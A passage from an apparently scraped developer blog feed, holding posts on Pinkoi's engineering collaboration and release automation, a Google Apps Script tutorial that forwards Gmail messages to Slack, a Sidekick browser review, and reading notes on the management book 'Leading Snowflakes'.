providing the API Response String to the App Team, there can be areas of ambiguity, for example, how do we know if date refers to Register Date or Birthday? Also, the scope is broad, many fields need confirmation.This communication is also repetitive, requiring confirmation each time there is a new endpoint.This is a classic case of ineffective communication. App and Backend lack a communication interface between them. There are many solutions, and it doesn’t necessarily have to be a tool; it can be a manually maintained document.Pinkoi uses Python (FastAPI) to automatically generate documentation from the API code, PHP can use Swagger (previous company practice); the advantage is that the framework and data format of the document can be automatically generated from the code, reducing maintenance costs, only needing to handle field descriptions.p.s. Currently, new Python 3 will use FastAPI, and the old parts will be gradually updated. For now, PostMan is used as the communication interface.The second one is collaborating with the Product Designer, which is similar to the Backend in principle, but the focus shifts to confirming UI Spec and Flow.If the color codes and fonts are scattered, our App will also suffer. Setting aside the fact that requirements are like this, we don’t want situations where the same title has the same color but the color code is off or the UI at the same position is not consistent.The most basic solution is to have the designer organize the UI components library, establish a Design System (Guideline), and mark them when designing UI.Based on the Design System (Guideline) in the Code Base, we create corresponding Font, Color, and Button, View based on the component library.When templating, use these established components for templating, making it easy for us to quickly align with the UI design draft. But this is easily messed up and needs dynamic adjustments; it cannot cover too many exceptions, nor can it be rigid and not expand.p.s. Collaboration with Product Designers at Pinkoi is mutual, where Developers can also suggest better practices and discuss with Product Designers.The third one is the interface with Customer Service. Product reviews are crucial for products in the marketplace, but it involves a very manual and repetitive communication process.Because we need to manually check for new reviews from time to time, and if there are customer service issues, we need to forward the issues to customer service for assistance, which is repetitive and manual.The best solution is to automatically synchronize marketplace reviews to our work platform. You can spend $ to buy existing services or use my developed ZhgChgLi / ZReviewTender (2022 New). For deployment methods, tutorials, and technical details, refer to: ZReviewTender - Free and Open-source App Reviews Monitoring BotThis bot is our communication interface. It will automatically forward reviews to a Slack Channel, allowing everyone to quickly receive the latest review information, track, and communicate on it.The last example is the dependency on the Localization Team’s work; whether it’s a new feature or modifying old translations, we need to wait for the Localization Team to complete the work and hand it over to us for further assistance.The cost of developing our own tools is too high, so we directly use third-party services to help us break the dependency.All translations and keys are managed by third-party tools. We just need to define the keys in advance, and both sides can work separately. As long as the work is completed before the deadline, there is no need for mutual reliance. After the Localization Team completes the translation, the tool will automatically trigger a git pull to update the latest text files in the project.p.s. Pinkoi has had this process since very early on, using Onesky at that time, but in recent years, there are more excellent tools available, which you can consider adopting.Collaboration within the App TeamWe talked about external factors, now let’s talk about internal factors.When there are fewer people or when one developer maintains a project, you can do whatever you want. You have a high level of mastery and understanding of the project, which is fine. Of course, if you have a good sense, even if it’s a one-person project, you can handle all the things mentioned here.But as the number of collaborating teammates increases, everyone is working under the same project. If everyone still works separately, it will be a disaster.For example, doing API calls differently here and there, often reinventing the wheel wasting time, or not caring at all and just putting something online haphazardly, all will incur significant costs for future maintenance and scalability.Within the team, rather than calling it an interface, I think it’s too formal; it should be about consensus, resonance, and a sense of teamwork.The most basic and common topic is Coding Style, naming conventions, where to place things, how to use Delegates… You can use commonly used tools like realm / SwiftLint for constraints, and for multilingual sentences, you can use freshOS / Localize for organization (of course, if you are already using a third-party tool for management as mentioned earlier, you may not need this).The second is the App architecture, whether it’s MVC/MVVM/VIPER/Clean Architecture, the key point is cleanliness and consistency; no need to pursue being trendy, just be consistent. The Pinkoi App Team uses Clean Architecture. Previously at StreetVoice, it was purely MVC but clean and consistent, making collaboration smooth.Next is UnitTest, with many people, it’s hard to avoid the logic you’re working on from accidentally being broken; writing more tests provides an extra layer of protection.Lastly, there’s the aspect of documentation, about the team’s work processes, specifications, or operation manuals, making it easy for teammates to quickly refer to when they forget, and for new members to quickly get up to speed.Besides the Code Level interface, there are other interfaces in collaboration to help us improve efficiency.The first is having a Request for Comments stage before implementing requirements, where the developer in charge roughly explains how this requirement will be implemented, and others can provide comments and ideas.In addition to preventing reinventing the wheel, it can also gather more ideas, such as how others might expand in the future, or what requirements to consider later on… etc., as onlookers see more clearly than those involved.The second is to conduct thorough Code Reviews, checking if our interface consensus is being implemented, such as: Naming conventions, UI layout methods, Delegate usage, Protocol/Class declarations… etc.Also, checking if the architecture is being misused or rushed due to time constraints, assuming the development direction should move towards full Swift development, and whether there are still Objective-C code being used… etc.The main focus is on reviewing these aspects, with functionality correctness being secondary assistance.p.s. The purpose of RFC is to improve work efficiency, so it shouldn’t be too lengthy or seriously delay work progress; it can be thought of as a simple pre-work discussion phase.Consolidating the team’s internal interface consensus functions, finally mentioning the Crash Theory mindset, which I think is a good behavioral benchmark.Applying it to the team means assuming that if everyone suddenly disappeared today, can the existing code, processes, and systems allow new people to quickly get up to speed?Recap the meaning of interfaces, internal team interfaces are used to increase mutual consensus, external collaboration is to reduce ineffective communication, using interfaces as a means of communication without interruption, focusing on discussing requirements.Reiterating that “interface communication” is not a special term or tool in engineering, it’s just a concept applicable to collaboration in any job scenario, it can simply be a document or process, with the sequence being to have this thing first and then communicate.Assuming each additional communication time takes 10 minutes, with a team of 60 people, occurring 10 times per month, it wastes 1,200 hours per year on unnecessary communication.Improving Efficiency - Automating Repetitive WorkThe second chapter wants to share with everyone about the effects of automating repetitive work on improving work efficiency, using iOS as an example, but the same applies to Android.It won’t mention technical implementation details, only discussing the feasibility in principle.Organizing the services we use, including but not limited to: Slack: Communication software Fastlane: iOS automation script tool Github: Git Provider Github Action: Github’s CI/CD service, will be introduced later Firebase: Crashlytics, Event, App Distribution (to be introduced later), Remote Config… Google Apps Script: Google Apps plugin script program, to be introduced later Bitrise: CI/CD Server Onesky: As mentioned earlier, a third-party tool for Localization Testflight: iOS App internal testing platform Google Calendar: Google Calendar, to be introduced for what purpose Asana: Project management toolIssues with Releasing Beta VersionsThe first issue to address is the problem of repetitiveness. During the development phase, when we want to allow other team members to test the app in advance, the traditional approach is to directly build it on their phones. If there are only 1-2 people, it’s not a big problem. However, if there are 20-30 team members to test, just helping with installing the beta version would take up a whole day of work. Additionally, if there are updates, everything has to start over.Another method is to use TestFlight as a medium for distributing beta versions, which is also good. However, there are two issues. First, TestFlight is equivalent to the production environment, not the debug environment. Second, when there are many teammates working on different requirements simultaneously and needing to test different requirements, TestFlight can become chaotic, and the builds for distribution may change frequently, but it’s still manageable.Pinkoi’s solution is to separate the task of “installing beta versions by the App Team” and use Slack Workflow as an input UI to achieve this. After inputting the necessary information, it triggers Bitrise to run Fastlane scripts to package and upload the beta version IPA to Firebase App Distribution. For more information on using Slack Workflow applications, refer to this article: Building a Fully Automated WFH Employee Health Status Reporting System with SlackFirebase App DistributionTeammates who need to test simply follow the steps provided by Firebase App Distribution to install the necessary certificates, register their devices, and then choose the beta version they want to install or directly install it by clicking the link. However, please note that iOS Firebase App Distribution is limited to Development Devices, with a maximum registration of 100 devices, based on devices rather than individuals. Therefore, you may need to consider a balance between this solution and TestFlight (which allows external testing by up to 1,000 people).At least, the Slack Workflow UI Input mentioned earlier is worth considering. For advanced features, consider developing a Slack Bot for a more complete and customizable workflow and form usage.Recap the effectiveness of automating the release of beta versions, the most significant benefit is moving the entire process to the cloud for execution, allowing the App Team to be hands-off and fully self-service.Issues with Packaging Official ReleasesThe second common task for the App Team is packaging and submitting the official version of the app for review.When the team is small and follows a single-line development approach, managing app version updates is not a big issue and can be done freely and regularly.However, in larger teams with multiple concurrent development and iteration needs, the situation depicted above may arise. Without proper “interface communication” as mentioned earlier, everyone may work independently, leading to the App Team being overwhelmed. The cost of app updates is higher than web updates, the process is more complex, and frequent and disorderly updates can disrupt users.The final issue is management. Without a fixed process or timeline, it’s challenging to optimize each step.The solution is to introduce a Release Train into the development process, with the core concept of separating version updates from project development.We establish a fixed schedule and define what will be done at each stage: New version update every Monday morning Code Freeze on Wednesday (no more merging of feature PRs) QA starts on Thursday Official packaging on FridayThe actual timeline for QA and the release cycle (weekly, bi-weekly, monthly) can be adjusted according to each company’s situation. The key is to determine what needs to be done at specific times.This is a survey on version release cycles conducted by foreign peers, with most opting for a bi-weekly release.When it comes to weekly updates and our multiple teams, it will be as shown in the image above.The Release Train, as the name suggests, is like a train station, and each version is a train.If you miss it, you have to wait for the next one. Each Squad team and project choose their own time to board.This is a great communication interface, as long as there is consensus and adherence to the rules, version updates can proceed smoothly.For more technical details on Release Train, please refer to: Mobile release trains — Travelperk Agile Release Train Release Quality and Mobile TrainsOnce the process and schedule are determined, we can optimize what we do at each stage.For example, packaging the official version manually is time-consuming. The entire process from packaging, uploading, to submission takes about 1 hour. During this time, work status needs to be constantly switched, making it difficult to do other tasks; this process is repeated for each packaging, wasting work efficiency.Now that we have a fixed schedule, we directly integrate Google Calendar here. We add the tasks to be done at the expected schedule to the calendar. When the time comes, Google Apps Script will call Bitrise to execute the Fastlane script for packaging the official version and submission, completing all the work.Using Google Calendar integration has another benefit. If there are unexpected situations that require postponement or advancement, you can directly go in and change the date. To automatically execute Google Apps Script when the Google Calendar event time arrives, currently, you have to set up the service yourself. If you need a quick solution, you can use IFTTT as a bridge between Google Calendar <-> Bitrise/Google Apps Script. For the method, you can refer to this article.p.s. Currently, the Pinkoi iOS Team adopts the Gitflow workflow. In principle, this consensus is to be followed by all teams, so there should be no requests that break this rule (e.g., special requirement to deploy on Wednesdays). However, for projects involving external collaboration, if there is really no other way, flexibility should be maintained, as this consensus is within the team. HotFix for critical issues can be updated at any time and is not subject to the Release Train regulations.Here, more applications of Google App Scripts are mentioned. For details, please refer to: Forwarding Gmail emails to Slack using Google Apps Script.The last one is using Github Action to enhance collaboration efficiency (PR Review).Github Action is Github’s CI/CD service, which can be directly linked to Github events, triggered from open issues, open PRs, to merging PRs, and more.Github Action can be used for any Git project hosted on Github. There are no restrictions for Public Repos, and Private Repos have a free quota of 2,000 minutes per month.Here are two features: (Left) After completing PR Review, it will automatically add the reviewer’s name Label, allowing us to quickly summarize the status of PR reviews. (Right) It will organize and send messages to the Slack Channel at a fixed time every day, reminding teammates of which PRs are awaiting review (similar to the functionality of Pull Reminders).Github Action still has many automation projects that can be done, and everyone can unleash their imagination.Like the issue bot commonly seen in open-source projects:fastlane / fastlaneOr automatically closing PRs that haven’t been merged for too long can also be done using Github Action.Recapping the effectiveness of automating the packaging of the official version, simply use existing tools for integration; in addition to automation, also incorporate fixed processes to double work efficiency.Apart from the manual packaging time, there is actually an additional cost in communicating version times, which is now directly reduced to 0; as long as you ensure to get on board within the schedule, you can focus all your time on “discussions” and “development”.Calculating the effectiveness brought by these two automations, it can save 216 working hours per year.Automating along with the communication interface mentioned earlier, let’s see how much efficiency can be improved by doing all these tasks together.Apart from the tasks just done, we also need to evaluate the cost of switching flow. When we continue to work for a period of time, we enter a “flow” state, where our thoughts and productivity peak, providing the most effective output; but if we are interrupted by unnecessary things (e.g., redundant communication, repetitive work), to get back into the flow, it will take some time again, using 30 minutes as an example here.The cost of switching flow due to unnecessary interruptions should also be included in the calculation, taking 30 minutes each time, occurring 10 times a month, 60 people will waste an additional 3,600 hours per year.Flow switching cost (3,600) + unnecessary communication due to poor communication interface (1,200) + automation solving repetitive work (216) = a loss of 5,016 hours in a year.The time saved from the previously wasted work hours can be invested in other more valuable tasks, so the actual productivity should increase by another X 200%. Especially as the team continues to grow, the impact on work efficiency also magnifies. Optimize early, enjoy early benefits; late optimization has no discount!!Recapping the behind-the-scenes of an efficient working team, what have we mainly done. No Code/Low Code First Prioritize choosing existing tool integrations (as in this example) if there are no existing tools available, then evaluate the cost of investing in automation and the actual income saved.About Cultural SupportEveryone can be a problem-solving leader at PinkoiFor solving problems, making changes; the vast majority require a lot of teamwork to make things better, which greatly needs the support and encouragement of company culture, otherwise, it will be very difficult to push forward alone. At Pinkoi, everyone can be a problem-solving leader, you don’t have to be a Lead or PM to solve problems, many of the communication interfaces, tools, or automation projects introduced earlier were discovered by teammates, proposed solutions, and completed together.About how team culture supports driving change, the four stages of problem-solving can all be linked to Pinkoi’s Core Values.Step One: Grow Beyond Yesterday Strive for improvement. If problems are identified, regardless of size, as the team grows, even small issues can have a magnified impact. Investigate and summarize problems to avoid premature optimization (some issues may only be temporary transitions).Next is Build Partnerships Actively communicate and gather suggestions from all aspects. Maintain empathy (as some problems may have the best solution from the other party, balancing is essential).Step Three: Impact Beyond Your Role Utilize your influence. Propose problem-solving plans. Prioritize automation solutions for tasks related to repetitive work. Remember to maintain flexibility and scalability to avoid Over Engineering.Lastly, Dare to Fail! Courage to practice. Continuously monitor and dynamically adjust solutions. After achieving success, remember to share the results with the team to facilitate cross-departmental resource integration (as the same problem may exist in multiple departments simultaneously).The above is a sharing of the secrets of Pinkoi’s high-efficiency engineering team. Thank you all.Join Pinkoi now >>> https://www.pinkoi.com/about/careersFor any questions and feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Using Google Apps Script to Forward Gmail Emails to Slack", "url": "/posts/d414bdbdb8c9/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, google-apps-script, cicd, slack, workflow-automation", "date": "2021-08-07 20:19:49 +0800", "snippet": "Using Google Apps Script to Forward Gmail Emails to SlackUse Gmail Filter + Google Apps Script to automatically forward customized content to Slack Channel when receiving emailsPhoto by Lukas Blaze...", "content": "Using Google Apps Script to Forward Gmail Emails to SlackUse Gmail Filter + Google Apps Script to automatically forward customized content to Slack Channel when receiving emailsPhoto by Lukas BlazekOriginRecently, I have been optimizing the CI/CD process for an iOS App, using Fastlane as an automation tool. After packaging and uploading, if you want to continue with the automatic submission step ( skip_submission=false ), you need to wait for Apple to complete the process, which takes about 30-40 mins of CI Server time. Because Apple’s App Store Connect API is not perfect, Fastlane can only check once per minute if the uploaded build is processed, which is very resource-wasting. Bitrise CI Server: Limits the number of simultaneous builds and the maximum execution time to 90 mins. 90 mins is enough, but it will block one build, hindering others from executing. Travis CI Server: Charges based on build time, so waiting is not an option, as money would be wasted.A Different ApproachNo more waiting. End it right after uploading! Use the email notification of completion to trigger subsequent actions. However, I haven’t received this email recently. I don’t know if it’s a setting issue or if Apple no longer sends this type of notification.This article will use the email notification that Testflight is ready for testing as an example. The complete process is shown in the image above. The principle is feasible; however, this is not the focus of this article. This article will focus on receiving emails and using Apps Script to forward them to a Slack Channel.How to Forward Received Emails to Slack ChannelWhether it’s a paid or free Slack project, different methods can be used to achieve the function of forwarding emails to a Slack Channel or DM.You can refer to the official documentation for setup: Send Emails to SlackThe effect is the same regardless of the method used: Default collapsed email content, click to expand and view all content.Advantages: Simple and fast Zero technical threshold Instant forwardingDisadvantages: Cannot customize content Display style cannot be changedCustom Forwarding ContentThis is the main focus of this article.Translate the email content data into the style you want to present, as shown in the example above.First, a complete workflow diagram: Use Gmail Filter to add a recognition label to the email to be forwarded Apps Script regularly fetches emails marked with that label Read the email content Render into the desired display style Send messages to Slack via Slack Bot API or directly using Incoming Message Remove the email label (indicating it has been forwarded) DoneFirst, create a filter in GmailFilters can automate some actions when receiving emails that meet certain conditions, such as automatically marking as read, automatically tagging, automatically moving to spam, automatically categorizing, etc.In Gmail, click the advanced search icon button in the upper right corner, enter the forwarding email rule conditions, such as from: no_reply@email.apple.com + subject is is now available to test., click “Search” to see if the filter results are as expected; if correct, click the “Create filter” button next to Search.Or directly click Filter message like these at the top of the email to quickly create filter conditions This button design is very counterintuitive, it took me a while to find it the first time.Next, set the actions for emails that meet this filter condition. Here we select “Apply the label” to create a separate new recognition label “forward-to-slack”, click “Create filter” to complete.From then on, all emails marked with this label will be forwarded to Slack.Get Incoming WebHooks App URLFirst, we need to add the Incoming WebHooks App to the Slack Channel, which we will use to send messages. Slack lower left corner “Apps” -> “Add apps” Search “incoming” in the search box on the right Click “Incoming WebHooks” -> “Add”Select the channel where you want to send the message.Note down the “Webhook URL” at the topScroll down to set the name and avatar of the bot that sends the message; remember to click “Save Settings” after making changes. Note Please note that the official recommendation is to use the new Slack APP Bot API’s chat.postMessage to send messages. The simple method of Incoming Webhook will be deprecated in the future. This article uses the simpler method, but it can be adjusted to the new method along with the next chapter “Import Employee List” which requires the Slack App API.Writing Apps Script Programs Click here to go to my Apps Script project Click on “New Project” in the top left After creating, you can click on the project name to rename it, e.g., ForwardEmailsToSlackPaste the following basic script and modify it to your desired version:function sendMessageToSlack(content) { var payload = { \"text\": \"*You have received an email*\", \"attachments\": [{ \"pretext\": \"The email content is as follows:\", \"text\": content, } ] }; var res = UrlFetchApp.fetch('Paste your Slack incoming Webhook URL here',{ method : 'post', contentType : 'application/json', payload : JSON.stringify(payload) })}function forwardEmailsToSlack() { // Referenced from: https://gist.github.com/andrewmwilson/5cab8367dc63d87d9aa5 var label = GmailApp.getUserLabelByName('forward-to-slack'); var messages = []; var threads = label.getThreads(); if (threads == null) { return; } for (var i = 0; i < threads.length; i++) { messages = messages.concat(threads[i].getMessages()) } for (var i = 0; i < messages.length; i++) { var message = messages[i]; Logger.log(message); var output = '*New Email*'; output += '\\n*from:* ' + message.getFrom(); output += '\\n*to:* ' + message.getTo(); output += '\\n*cc:* ' + message.getCc(); output += '\\n*date:* ' + message.getDate(); output += '\\n*subject:* ' + message.getSubject(); output += '\\n*body:* ' + message.getPlainBody(); sendMessageToSlack(output); } label.removeFromThreads(threads);}Advanced: For Slack message styles, refer to this official structure document. You can use JavaScript’s Regex Match Function to match and extract content from the email.Example: Extracting version number information from a Testflight approval email:Email subject: Your app XXX has been approved for beta testing.Email content:We want to get the Bundle Version Short String and the value after Build Number.var results = subject.match(/(Bundle Version Short String: ){1}(\\S+){1}[\\S\\s]*(Build Number: ){1}(\\S+){1}/);if (results == null || results.length != 5) { // not valid} else { var version = results[2]; var build = results[4];} For Regex usage, refer here To test if your Regex is correct online, you can use this websiteRun and See Go back to Gmail, find any email, and manually add the label — “forward-to-slack” In the Apps Script code editor, select “forwardEmailsToSlack” and click the “Run” buttonIf “Authorization Required” appears, click “Continue” to complete the verificationDuring the authentication process, “Google hasn’t verified this app” will appear. This is normal because our App Script has not been verified by Google. However, it is fine since this is for personal use.Click the bottom left “Advanced” -> “Go to ForwardEmailsToSlack (unsafe)”Click “Allow”Forwarding successful!!!Set Up Triggers (Scheduling) for Automatic Checking & ForwardingIn the left menu of Apps Script, select “Triggers”.Bottom left “+ Add Trigger”. Error notification settings: You can set how to notify you when the script encounters an error Choose the function you want to execute: Select Main Function sendMessageToSlack Select event source: You can choose from Calendar or Time-driven (timed or specified) Select time-based trigger type: You can choose to execute on a specific date or every minute/hour/day/week/month Select minute/hour/day/week/month interval: EX: Every minute, every 15 minutes… For demonstration purposes, set it to execute every minute. I think checking emails every hour is sufficient for real-time needs. Go back to Gmail, find any email, and manually add the label — “forward-to-slack” Wait for the schedule to triggerAutomatic checking & forwarding successful!CompletionWith this feature, you can achieve customized email forwarding processing and even use it as a trigger. For example, automatically execute a script when receiving an XXX email.Returning to the origin in the first chapter, we can use this mechanism to perfect the CI/CD process; no need to wait idly for Apple to complete processing, and it can be linked to the automation process!Further Reading Crashlytics + Big Query to Create a More Real-time and Convenient Crash Tracking Tool Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks Slack to Create a Fully Automated WFH Employee Health Status Reporting System The APP Uses HTTPS Transmission, but the Data Was Still Stolen.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Productivity Tools: Abandon Chrome and Embrace Sidekick Browser", "url": "/posts/118e924a1477/", "categories": "ZRealm, Life.", "tags": "sidekick, chrome, chromium, browsers, 生活", "date": "2021-08-07 13:06:43 +0800", "snippet": "[Productivity Tools] Abandon Chrome and Embrace Sidekick BrowserIntroduction and Experience with Sidekick Browser2024 UpdateAround early 2023, I switched to using Arc Browser! The user experience a...", "content": "[Productivity Tools] Abandon Chrome and Embrace Sidekick BrowserIntroduction and Experience with Sidekick Browser2024 UpdateAround early 2023, I switched to using Arc Browser! The user experience and features are better, with fewer bugs, and it also supports cross-device synchronization.Here’s a link to download Arc, the browser I was telling you about!https://arc.net/gift/f86ef8b3PrefaceI learned about Sidekick Browser from a colleague. To be honest, I didn’t have high expectations at first. Over the years, I have considered abandoning Chrome and tried Safari, Safari beta, Firefox, Opera, and third-party browsers based on open-source cores. However, these attempts failed repeatedly, and I ended up switching back to Chrome within a few days. Another reason is that I haven’t actively followed the browser market, so there may have been browsers that met my needs, but I was unaware of them.Reasons for FailureThe main reason is that my frequently used extensions are not fully supported. I was too reliant and accustomed to Chrome’s extensions. Even though browsers based on the Chromium core could support them seamlessly, they lacked standout features and the experience was similar to using Google Chrome.My Requirements Chromium core to support my frequently used extensions More distinctive features to enhance productivity Support for MacOS; I use Safari on iOS, so cross-device support is not required Excellent memory management Enhanced privacy and anti-tracking features Seamless migration capabilityRegarding productivity features, Chrome’s extension library offers millions of tools that can be used. By searching and combining them, one can achieve the desired results. However, without conducting research, I am not sure which processes and features are truly beneficial for productivity.About Sidekick Development Team: Sidekick startup founded in November 2020 @ San Francisco / Fundraising in progress Browser Core: Chromium Current Stage: Early Access Core Value: A browser designed to optimize workflow and enhance productivity Supported Platforms: Windows, Mac OS, Mac OS (M1), Linux (deb), Linux (rpm) Extensions: Supports all Chrome Store extensions (bitwarden, lastpass, 1password, grammarly, google translate…) Official Website: www.meetsidekick.comDownload and Use Now Visit the official website here Click on “Download Now” Choose the version that matches your operating system Download & complete the installation Open SidekickThe content has been translated into English as requested.Application can be quickly added from the homepage or added from the Tab by entering the URL or ICON image manually.Sidekick has built-in hundreds of productivity tool websites that can be quickly added to the Application. If the Application added from the homepage does not appear on the left Sidebar, you can drag it over yourself.Right-click on the Application to quickly view recent visits, and also support switching between multiple accounts. There are not many websites supported for multiple account switching. If not supported, you can use Private Mode first; currently tested to support Slack and Notion. The left Application and the top Tab do not affect each other. The Application block is independent and will not appear on the top Tab.Each App can be individually configured, such as turning off notifications, turning off Badges, and so on.Window Splitting FeatureAlthough MacOS comes with a window splitting feature, I actually use it very rarely; unless I want to fully focus, most of the time I need to synchronize browsing content + use other MacOS Apps, then the browser’s window splitting feature is very useful!For example, you can attend online classes and take notes at the same time.You can freely drag and adjust the size of the middle separator.To use, just click on the window split button in the upper right corner of the browser, choose the window to add to the left, and click again to close the split.Spotlight FeatureSimilar to MacOS’s Spotlight, you can press “Option” + “f” for full browser search in any window. You can use “Option” + “z” or “Control” + “tab” for quick Tab switching. “Option” + “1-9” for quick switching between positions 1~9 of Tabs.Tab Saver (Save Sessions) FeatureSimilar to the popular Tab Saver extension on Chrome, it can quickly save the currently open Tab web pages and switch between them, making it easy for us to manage different work states.Click on the “F” (First Session) in the lower left corner to enter the Session management page.Click on “Add new session” at the top to save the current Tab state, open a completely new browsing environment.You can switch between Sessions, click “Activate” to restore the Tab. Sessions will not affect the Applications enabled on the left. You can use the shortcut “Option” + “W” for quick Session switching. “Option” + “⬆️” + “W” for Session management.Excellent Application Notification FeatureStarting now, as long as there is a Web version of communication service available, you can directly use the Sidekick Application without the need to install a computer application; as mentioned earlier, the Application’s notification function is as instant and complete as a computer application. Remember to authorize Sidekick to send computer notifications; this way, web notifications will pop up on the computer.Note FeatureIntegrated with Google Keep cloud note-taking feature, click on the document icon in the lower left corner to quickly open Google Keep for note-taking.Google Keep is stored in the cloud Google account, supporting cross-platform and cross-device note synchronization.You can use this feature to quickly record items. Not sure if it will be changed to their own Sidekick Sync in the future, after all, this will provide optimization and integration space. You can use the shortcut key “Option” + “N” to quickly switch sessions.Built-in anti-tracking, anti-advertising, and memory management featuresWith the wave of privacy concerns, major companies are starting to focus on user privacy. Apple, as the primary leader, has begun to integrate privacy protection features in the new version of Safari. However, as the biggest beneficiary of privacy information, Google Ads, it may be difficult to see changes on Google Chrome. Chromium != Chrome, Chromium is an open-source project at the core of browser technology.Although Chromium is also led by Google, its open-source nature allows any developer to optimize based on this core. Sidekick also utilizes this method to optimize on the Chromium base, retaining Chrome’s features while enhancing functionalities lacking in Chrome.Details For dual-screen users, you can also drag tabs into separate windows, which will not have the left toolbar. Supports all Chrome extensions, can be downloaded and installed directly from the store More features waiting for you to explore and experience!Cost “It is a sin for a company not to make money. (If you don’t make money, it is a sin against society because we take society’s funds, attract society’s talents, and without sufficient surplus, we are wasting valuable resources that could be more effectively utilized elsewhere.)” - Panasonic founder, Konosuke Matsushita (text reference from the Business Thought Institute)A good product needs good cash flow to provide better services and to last longer. Below are the pricing details for Sidekick:For personal use, the free plan is more than sufficient, but if you are able, consider supporting the development team! Currently, users who have joined are part of the Early Access plan, seemingly unaffected by the Free plan (I have more than 5 Sidebar apps and it’s fine). Currently, inviting 10 users gives 6 months of Pro access / inviting 20 users gives lifetime Pro access; so if you like this article, you can download and install through the link in the article, support me and support Sidekick!Summary of User ExperienceAfter using it for a while, due to the painless transition, I have completely abandoned Chrome. There is nothing that I must go back to Chrome for, and the best part is the Applications on the left, where I can add frequently used websites for quick access and notifications.In the past, I would get lost in a clutter of tabs, or could only use the Pin Tab feature to keep important work services pinned at the front. However, switching was still painful and required searching.Now, when I need to do a Code Review, I click on Github; when I need to submit an App, I click on App Store Connect; when I need to view a project, I click on Asana. Working is very efficient.Regarding memory management, I haven’t done any specific research or testing, so I’m not sure about the optimization effect, but having it is better than not having it. The only worry is that this product is still too new, and it’s uncertain how far it can go. If mismanagement occurs, development and maintenance may stop, which would be a great loss! So please promote and support it vigorously!Further Reading Can Google Site keep up with the times? Create a “fake” perspective transparent phone wallpaper with iPhone Return of custom domain feature on Medium ZReviewsBot - Slack App Review Notification BotFor any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Leading Snowflakes Reading Notes", "url": "/posts/1c9eafd4a190/", "categories": "Beginner, Management", "tags": "management, leadership, engineering, management studies, engineer", "date": "2021-07-25 15:44:20 +0800", "snippet": "Leading Snowflakes — Reading Notes“Leading Snowflakes The Engineering Manager Handbook” — Oren EllenbogenEntering a management position for the first time can be very confusing; the knowledge about...", "content": "Leading Snowflakes — Reading Notes“Leading Snowflakes The Engineering Manager Handbook” — Oren EllenbogenEntering a management position for the first time can be very confusing; the knowledge about management is only gathered from previous work experience, observations, or casual chats with colleagues, knowing what actions taken by a supervisor are viewed positively or negatively by subordinates. These experiences and thoughts are fragmented, lacking a systematic concept, so I started reading books and recording each author’s experiences. If I encounter similar situations, having this “knowledge confidence” will prevent me from being flustered.Leading Snowflakes Language: English Author: Oren Ellenbogen Publication Year: 2013 Official Website Thanks to Hai Zongli for the recommendationThe author, with nearly 20 years of work experience, transitioned from a software engineer to a management position step by step; having served as a Technical Lead and Engineering Manager in both large companies and startups. This book details the bottlenecks encountered when transitioning from an engineer to a management position and the methods to organize and solve them.I find my background very similar, having originally worked in software development and now exploring management. The key points mentioned in the book have taught me many methods on how to proceed! - This article is merely personal notes mixed with some personal views. In this age of fragmented information, it is strongly recommended to read the original book to systematically absorb the essence. - The significance of notes is to make it easier to quickly locate the points you want to review later. - Some content is directly excerpted from the original text.Lesson 1. — Switch between “Manager” and “Maker” modesThe transition from Engineer (Maker) to Manager.Completing tasks well and even elegantly solving problems is the measure of an excellent engineer, but as a manager, it is no longer measured by the ability to complete tasks, which we have already proven, but by the team goals of leading, driving, and enhancing capabilities.However, one cannot completely detach from tasks, as completely detaching from task details can lead to disconnection from team members, posing significant risks in terms of execution results, priorities, and trust in the long run.So, it is not that as a manager you don’t need to do engineering tasks, but rather you need to balance between being an Engineer (Maker) and a Manager.As engineers, we like to have uninterrupted time to stay in context and solve difficult problems; but as managers, we need to frequently step out to help the team and care for teammates, so interruptions are actually part of a manager’s job.But how do we handle being both an engineer and a manager?The author suggests creating two calendars, one as a Maker (engineer) and one as a Manager, and then spending 15-30 minutes every morning to organize thoughts and plan the day’s schedule, including what tasks to do, what meetings to attend, and identifying continuous time slots to solve tasks (as a Maker).Author’s Calendar TemplateWe also need focused timeThe author states that even as managers, we still need to handle tasks; the available focused time is more important to us than before.The author mentions that during focused time, you can convey to teammates not to disturb you through certain actions!Methods include: going to a meeting room, wearing headphones, or even buying an ON AIR! switch light to place on your desk.If it is not an urgent issue, teammates can leave a message or compile information and email it to you, to be addressed after the focused time ends.Evaluate the tasks you can solve as an engineerBecause I can no longer fully dedicate myself to development tasks as I did when I was purely an engineer (Maker), I need to choose tasks that I can personally execute based on the time available in the engineer’s schedule.Do not become the technical bottleneck of the team. Our mission is to enhance team capabilities, explore new technologies, and improve the company’s technical vision both internally and externally. Tasks can include pre-researching technical issues and sharing them with teammates for execution, resolving the company’s technical debt, improving processes to increase development efficiency, using new technologies, open-sourcing company technology, opening APIs, participating in external hackathons, etc.The most important thing is still balanceThe author suggests starting with a 15-20% ratio. Originally, it was 100% as Maker, but now it might be 20% as Maker / 80% as Manager (though this depends on the actual team size and member capabilities; the author also mentions that 50% / 50% is possible). The key is not to be 100% invested in engineering development but to spend more effort on management.Make good use of 1:1Regularly have 1:1 meetings with teammates to provide mutual feedback and share what you’ve learned.If management tasks consume all your timeThe author finally mentions that if your management tasks are so overwhelming that you can’t do any engineering (as Maker) work and become disconnected from tasks and technology, you might consider working from home (WFH) a few days a week to isolate yourself from the company or participate in hackathons.Lesson 2. — Code Review Your Management DecisionsRegularly review the decisions you make as a manager.As engineers, we have many methods or tools that, if followed, can improve our abilities, such as pair programming, code review, and design patterns. But as managers, especially new ones, we often feel quite lonely.We don’t want to admit our ignorance to our superiors or subordinates, fear being responsible for the team’s success, and worry about balancing technical debt and business needs.The author mentions stepping out to seek ways to improve management skills, openly soliciting feedback, and enhancing management skills; being a manager can be as passionate as being an engineer.Record & Review DecisionsColleagues and bosses are powerful resources we often underestimate. We can quickly learn from their feedback. Establishing a habit of recording and reviewing decisions can help us get better feedback.The author mentions: “There is no one right way, there are only tradeoffs.”I agree. If it weren’t a dilemma, you probably wouldn’t ask. If you ask, it means teammates don’t know how to decide.We can list options and provide decisions to teammates, but at the same time, we should also note the decisions made.Sample record sheet provided by the authorDevelop the 